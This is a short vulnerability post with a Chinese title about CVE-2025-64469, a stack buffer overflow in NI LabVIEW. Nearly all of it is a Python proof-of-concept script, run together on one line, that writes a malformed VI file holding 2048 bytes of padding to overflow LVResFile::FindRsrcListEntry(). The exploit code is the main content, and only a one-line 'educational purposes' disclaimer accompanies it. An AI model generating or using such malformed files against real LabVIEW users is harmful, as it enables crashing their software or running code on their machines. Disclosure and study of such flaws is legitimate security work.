CVE-2025-64469 NI LabVIEW栈缓冲区溢出漏洞可致代码执行

#!/usr/bin/env python3 # CVE-2025-64469 PoC - Malformed VI File Generator # This PoC generates a minimal malformed VI file to trigger the buffer overflow # in LVResFile::FindRsrcListEntry() import struct import sys def create_malformed_vi(output_path): """ Generate a malformed VI file that triggers CVE-2025-64469 The VI file format consists of: - Header with version info - Resource fork containing resource entries """ # LabVIEW VI file magic number vi_header = b'LAB' + struct.pack('>I', 25) # Version indicator # Create a resource fork with malformed entry # Resource type: LVclass resource_type = b'rsrc' # Create oversized resource data to trigger overflow # The overflow occurs in FindRsrcListEntry() when parsing overflow_size = 2048 # Larger than typical stack buffer overflow_data = b'A' * overflow_size # Malformed resource entry structure # This simulates corrupted resource data that causes buffer overflow resource_data = overflow_data # Build resource fork header rsrc_fork = b'' rsrc_fork += struct.pack('>I', len(resource_data)) # Data size rsrc_fork += resource_data # Build the complete VI file vi_file = vi_header + rsrc_fork # Write to file with open(output_path, 'wb') as f: f.write(vi_file) print(f'[+] Malformed VI file created: {output_path}') print(f'[+] Overflow data size: {overflow_size} bytes') print(f'[!] This PoC is for educational purposes only') if __name__ == '__main__': if len(sys.argv) != 2: print('Usage: python3 cve_2025_64469_poc.py <output_vi_file>') sys.exit(1) create_malformed_vi(sys.argv[1])